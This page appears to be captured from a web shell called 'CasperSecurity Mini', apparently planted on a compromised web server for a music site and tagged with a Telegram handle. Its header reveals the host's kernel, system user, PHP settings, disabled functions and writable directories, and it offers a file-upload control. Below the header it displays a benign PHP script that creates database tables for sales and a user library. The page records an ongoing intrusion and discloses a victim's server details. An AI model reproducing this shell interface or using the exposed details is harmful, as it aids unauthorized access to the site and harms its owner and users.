T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/soundstudiopro.com/private_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/soundstudiopro.com/private_html/fix_artist_dashboard.php
<?php
require_once 'config/database.php';

echo "<h2>🔧 Fixing Artist Dashboard Database Issues</h2>\n";

try {
    $pdo = getDBConnection();
    
    // Check if sales table exists
    $result = $pdo->query("SHOW TABLES LIKE 'sales'");
    
    if ($result->rowCount() == 0) {
        echo "<p>❌ Sales table doesn't exist. Creating it...</p>\n";
        
        // Create sales table
        $pdo->exec("
            CREATE TABLE sales (
                id INT AUTO_INCREMENT PRIMARY KEY,
                track_id INT NOT NULL,
                buyer_id INT NOT NULL,
                artist_id INT NOT NULL,
                amount DECIMAL(10, 2) NOT NULL,
                revenue_recipient VARCHAR(20) DEFAULT 'artist',
                recipient_id INT,
                is_free_user_track BOOLEAN DEFAULT FALSE,
                quantity INT DEFAULT 1,
                created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
                FOREIGN KEY (track_id) REFERENCES music_tracks(id) ON DELETE CASCADE,
                FOREIGN KEY (buyer_id) REFERENCES users(id) ON DELETE CASCADE,
                FOREIGN KEY (artist_id) REFERENCES users(id) ON DELETE CASCADE
            )
        ");
        echo "<p>✅ Created sales table</p>\n";
    } else {
        echo "<p>✅ Sales table exists</p>\n";
        
        // Check and add missing columns
        $columns = $pdo->query("SHOW COLUMNS FROM sales")->fetchAll(PDO::FETCH_COLUMN);
        
        if (!in_array('revenue_recipient', $columns)) {
            $pdo->exec("ALTER TABLE sales ADD COLUMN revenue_recipient VARCHAR(20) DEFAULT 'artist'");
            echo "<p>✅ Added revenue_recipient column</p>\n";
        }
        
        if (!in_array('recipient_id', $columns)) {
            $pdo->exec("ALTER TABLE sales ADD COLUMN recipient_id INT");
            echo "<p>✅ Added recipient_id column</p>\n";
        }
        
        if (!in_array('is_free_user_track', $columns)) {
            $pdo->exec("ALTER TABLE sales ADD COLUMN is_free_user_track BOOLEAN DEFAULT FALSE");
            echo "<p>✅ Added is_free_user_track column</p>\n";
        }
        
        if (!in_array('quantity', $columns)) {
            $pdo->exec("ALTER TABLE sales ADD COLUMN quantity INT DEFAULT 1");
            echo "<p>✅ Added quantity column</p>\n";
        }
    }
    
    // Check if user_library table exists
    $result = $pdo->query("SHOW TABLES LIKE 'user_library'");
    
    if ($result->rowCount() == 0) {
        echo "<p>❌ User_library table doesn't exist. Creating it...</p>\n";
        
        $pdo->exec("
            CREATE TABLE user_library (
                id INT AUTO_INCREMENT PRIMARY KEY,
                user_id INT NOT NULL,
                track_id INT NOT NULL,
                purchase_date TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
                UNIQUE KEY unique_library_item (user_id, track_id),
                FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE,
                FOREIGN KEY (track_id) REFERENCES music_tracks(id) ON DELETE CASCADE
            )
        ");
        echo "<p>✅ Created user_library table</p>\n";
    } else {
        echo "<p>✅ User_library table exists</p>\n";
    }
    
    echo "<h3>🎉 Database fixes completed successfully!</h3>\n";
    echo "<p>Artist dashboard should now work properly.</p>\n";
    
} catch (Exception $e) {
    echo "<p>❌ Error: " . $e->getMessage() . "</p>\n";
}
?> 

CasperSecurity Mini